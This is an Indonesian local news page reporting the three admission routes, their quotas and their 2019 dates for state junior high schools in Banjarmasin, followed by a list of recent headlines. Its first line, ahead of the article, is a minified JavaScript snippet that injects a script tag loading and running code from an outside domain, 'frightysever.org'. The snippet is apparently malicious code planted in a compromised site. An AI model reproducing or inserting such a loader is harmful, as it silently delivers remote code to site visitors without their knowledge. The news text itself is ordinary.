(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Disdik Banjarmasin Siapkan Tiga Jalur Masuk SMP


BANJARMASIN, Ada tiga jalur pada Penerimaan Peserta Didik Baru (PPDB) tingkat Sekolah Menengah Pertama (SMP) di Banjarmasin. Yakni jalur zonasi, jalur prestasi, dan jalur luar zona. Ketiga jalur ini punya kuota berbeda.

Menurut Kepala Dinas Pendidikan Kota Banjarmasin, Totok Agus Daryanto, tiga jalur masuk SMP di Banjarmasin dengan jadwal jalur zonasi dan luar zonasi pada 1 Juli – 4 Juli 2019. Sementara jalur berprestasi pada 10 Juni – 15 Juni 2019.

“Meskipun memakai tiga macam jalur ini, jalur zonasi memiliki kuota terbanyak 90 persen dari kuota perkelas 32 orang. Kemudian untuk jalur prestasi ada 5 persen, dan 5 persennya diperuntukkan untuk jalur luar zona,” ucap Totok Agus.

Menurutnya, kuota 90 persen pada jalur zonasi bertujuan mendekatkan peserta didik dengan tempat tinggalnya dan pemerataan standar mutu antar sekolah. Melalui langkah ini, ia berharap beberapa tahun ke depan tidak ada lagi istilah sekolah unggulan dan non unggulan.

“Sistem zonasi tahun ini berdasarkan daerah administratif kecamatan, zona Banjarmasin Selatan misalnya dihuni oleh SMP negeri yang berada di Kecamatan Banjarmasin Selatan dan harus menerima dari SD setempat juga,” ujar Totok.

Mengacu jalur zonasi, ia menerangkan, SMPN di Kota Banjarmasin memakai seleksi radius saat PPDB. Alhasil, panitia mesti memprioritaskan peserta didik yang rumahnya paling mendekati lokasi sekolah.

Pada jalur prestasi, peserta didik dari seluruh lulusan SDN yang mendapat nilai minimal rata rata 9 untuk setiap mata pelajaran yang di-UN-kan, maka bebas memilih masuk SMP manapun sesuai minat. Totok berkata jalur prestasi mengutamakan indeks prestasi.

Selain itu, Totok mengeluarkan kebijakan terkait sekolah di perbatasan kabupaten/kota antara Barito Kuala dan Banjarmasin. Ketika ada SMPN terletak di perbatasan administratif ini, maka bisa menerima siswa melebihi kuota 5 persen di luar zonasi. “Apabila sekolah tersebut masih memungkinkan atau kekurangan peserta didik baru,” pungkasnya.

Kebijakan ini tidak berlaku untuk SMP swasta. “Untuk swasta ini bebas, mereka menerapkan sistem apapun, baik mengikuti kami yang negeri ataupun kebijakan mereka sendiri,” kata Totok. (mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.